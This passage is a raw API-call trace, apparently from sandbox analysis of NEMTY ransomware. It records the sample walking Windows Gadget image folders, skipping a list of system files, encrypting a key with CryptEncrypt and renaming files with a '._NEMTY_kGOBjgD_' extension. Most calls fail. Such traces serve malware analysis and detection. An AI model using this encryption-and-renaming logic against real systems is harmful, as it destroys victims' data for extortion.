Size=0xc0) returned 0x6343fe8 [0152.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0152.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0152.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0152.703] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)alertIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)alerticon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)alertIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)alerticon.png._nemty_kgobjgd_")) returned 0 [0152.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0152.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0152.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0152.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0152.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0152.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0152.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0152.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0152.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0152.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.703] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d6a1d1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d6a1d1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x37211ce1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="(144DPI)grayStateIcon.png", cAlternateFileName="")) returned 1 [0152.703] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2=".") returned -1 [0152.703] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="..") returned -1 [0152.703] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="...") returned -1 [0152.703] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="windows") returned -1 [0152.703] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0152.703] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="rsa") returned -1 [0152.703] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="NTDETECT.COM") returned -1 [0152.703] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="ntldr") returned -1 [0152.703] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="MSDOS.SYS") returned -1 [0152.703] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="IO.SYS") returned -1 [0152.703] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="boot.ini") returned -1 [0152.703] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="boot.ini") returned -1 [0152.703] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="AUTOEXEC.BAT") returned -1 [0152.704] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="ntuser.dat") returned -1 [0152.704] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="desktop.ini") returned -1 [0152.704] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="CONFIG.SYS") returned -1 [0152.704] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="RECYCLER") returned -1 [0152.704] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="BOOTSECT.BAK") returned -1 [0152.704] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="bootmgr") returned -1 [0152.704] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="programdata") returned -1 [0152.704] lstrcmpiW (lpString1="(144DPI)grayStateIcon.png", lpString2="appdata") returned -1 [0152.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)grayStateIcon.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0152.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)grayStateIcon.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)grayStateIcon.png", lpUsedDefaultChar=0x0) returned 25 [0152.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0152.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)grayStateIcon.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0152.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)grayStateIcon.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)grayStateIcon.png", lpUsedDefaultChar=0x0) returned 25 [0152.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0152.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)grayStateIcon.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0152.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)grayStateIcon.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)grayStateIcon.png", lpUsedDefaultChar=0x0) returned 25 [0152.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)grayStateIcon.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0152.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0152.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)grayStateIcon.png", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)grayStateIcon.png", lpUsedDefaultChar=0x0) returned 25 [0152.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0152.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0152.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0152.704] Sleep (dwMilliseconds=0x5) [0152.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xeaab890, dwHighDateTime=0x1d561e8)) [0152.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xeaab890, dwHighDateTime=0x1d561e8)) [0152.706] GetLastError () returned 0x5 [0152.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.706] GetLastError () returned 0x5 [0152.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0152.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0152.706] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0152.706] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0152.707] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0152.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0152.707] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340308, pcchString=0x653e5dc | out: pszString="yT0lsppf1iarZ0860T/97e/lJ1xdeFJiXEVLaqjuSDowONKVaLX/7K/cH4M0Nvdn\r\nWnrbKibAK46m6zKi8cUH+lZpIO0AimqOQdYWpLou2Uy8xC1uKNy2QWXL3dz+ZgqA\r\nHRUepUzJa7XFeVG8YzHUpgYH2jamvGhjVErSPmMkPBRngWXP2n1848Fx3Xa7ZDiN\r\n0DYqEfYfBpu7hRKT0TRuOCfz4Smn9D9krUX8HpJ/oJtDxgdN0bgbb+pzI8/Ru6ml\r\n9JHgHH2qgAA5v4DvzcXIKBZ5LflEvsoNEru2CRXJnnHeqoJ4sIyJTiEw6iyPTDT2\r\nujM59d3qLUz8kGNx7ioJJQ==\r\n", pcchString=0x653e5dc) returned 1 [0152.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0152.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0152.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0152.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0152.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0152.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0152.707] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)grayStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)graystateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.708] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0152.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0152.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.717] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.717] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.726] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.726] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.735] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.735] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.744] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.745] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.754] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.763] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.778] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.778] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.787] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.796] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.806] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.806] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.812] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.812] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340308, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0152.818] CloseHandle (hObject=0xffffffff) returned 0 [0152.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340478 [0152.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0152.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0152.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0152.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0152.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0152.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0152.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63440c0 [0152.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0152.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0152.818] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)grayStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)graystateicon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)grayStateIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)graystateicon.png._nemty_kgobjgd_")) returned 0 [0152.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0152.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0152.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0152.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0152.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0152.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0152.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0152.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0152.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0152.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 